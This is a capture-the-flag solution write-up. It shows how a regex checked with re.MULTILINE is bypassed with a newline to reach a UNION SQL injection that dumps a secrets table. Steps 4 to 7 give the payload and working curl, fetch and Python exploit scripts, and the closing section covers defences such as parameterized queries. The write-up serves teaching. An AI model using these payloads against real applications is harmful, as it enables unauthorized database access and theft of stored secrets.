🎯 One character. One flag. Can you exploit the regex?

Regex Bypass to SQL Injection - Solution

Step 1: Understanding the Regex Vulnerability

The application uses a regex pattern with Python's re.MULTILINE flag:

safe_pattern = r'^[a-z0-9 ]+$'
if re.search(safe_pattern, user_input, re.MULTILINE):
    return True  # Valid input

The Critical Vulnerability:

• With re.MULTILINE, the ^ anchor matches the START of ANY line (not just the string)
• The $ anchor matches the END of ANY line (not just the string)
• re.search returns True if ANY line in the input matches the pattern
• Input like "abc\nUNION SELECT" passes validation because "abc" matches ^[a-z0-9 ]+$
• The second line with SQL injection is completely ignored by the regex check!

Step 2: Discover the Database Structure

The challenge page displays the database structure in the "Database Information" section:

• users table: id, username, email, role, created_at
• secrets table: id, secret_type, secret_value, description

The flag is stored in secrets.secret_value. You can also verify this by visiting /api/schema.

Step 3: Understanding the SQL Query

The vulnerable query structure shown in the response:

SELECT id, username, email, role FROM users WHERE username LIKE '%{your_input}%'

Key Details:

• The query has 4 columns - any UNION must match this count
• Input is inserted into a LIKE pattern with % wildcards
• The regex only validates alphanumeric characters - it doesn't block quotes!
• We can use quotes to escape the LIKE string once we bypass the regex

Step 4: Crafting the Bypass Payload

Structure: [safe line]\n[SQL injection]

a\n' UNION SELECT id,secret_type,secret_value,description FROM secrets--

Note: The visual display above shows two lines for clarity. In actual code, use \n (backslash-n) between them, as shown in Step 5.

Payload Breakdown:

• a - First line: passes regex check (matches ^[a-z0-9 ]+$)
• \n - Newline character creates a second line
• ' - Closes the LIKE string (not blocked by regex!)
• UNION SELECT - Combines results from two queries
• id,secret_type,secret_value,description - 4 columns matching the original query
• FROM secrets - Targets the secrets table with the flag
• -- - SQL comment removes the trailing %'

Step 5: Executing the Attack

curl -X POST http://<target-ip>/api/search \
  -H "Content-Type: application/json" \
  -d '{"search":"a\n'"'"' UNION SELECT id,secret_type,secret_value,description FROM secrets--"}'

fetch('/api/search', {
  method: 'POST',
  headers: {'Content-Type': 'application/json'},
  body: JSON.stringify({
    search: "a\n' UNION SELECT id,secret_type,secret_value,description FROM secrets--"
  })
}).then(r => r.json()).then(d => {
  console.log(d);
  if(d.results) d.results.forEach(r => console.log('Flag:', r.email));
})

import requests

url = 'http://<target-ip>/api/search'
payload = "a\n' UNION SELECT id,secret_type,secret_value,description FROM secrets--"

response = requests.post(url, json={'search': payload})
data = response.json()

if data.get('success'):
    for result in data.get('results', []):
        if 'email' in result:
            print(f"Flag: {result['email']}")

Step 6: Understanding the Execution

The constructed SQL query becomes:

SELECT id, username, email, role FROM users 
WHERE username LIKE '%a\n' UNION SELECT id,secret_type,secret_value,description FROM secrets--%'

Execution Flow:

1. Regex validation: First line "a" matches the safe pattern → validation passes
2. SQL execution: Input inserted with newline character intact
3. The quote on line 2 closes the LIKE string early: LIKE '%a\n'
4. UNION combines results from users table (if any) with secrets table
5. The -- comment removes the trailing %' preventing syntax errors
6. Column mapping: id→id, secret_type→username, secret_value→email, description→role

Step 7: Retrieving the Flag

The application returns the injected query results. The flag appears in the "email" field (3rd column, which maps to secret_value from the secrets table).

Why This Attack Works

Proper Defense Mechanisms

if re.search(r'^[a-z0-9 ]+$', input, re.MULTILINE):
    return True  # Checks per-line, not whole string!

if re.search(r'\A[a-z0-9 ]+\z', input):
    return True  # Checks entire string, unaffected by newlines

if re.search(r'^[a-z0-9 ]+$', input):  # Without MULTILINE
    return True  # ^ and $ now match string boundaries

query = "SELECT ... WHERE username LIKE ?"
cursor.execute(query, ('%' + search_term + '%',))

Why These Solutions Work:

• \A and \z always match string start/end, never affected by any flags
• Without MULTILINE, ^ and $ match string boundaries (not line boundaries)
• Parameterized queries treat input as data, never as executable code
• Database driver handles all escaping automatically
• Regex validation alone cannot prevent SQL injection - always use parameterized queries

Key Takeaways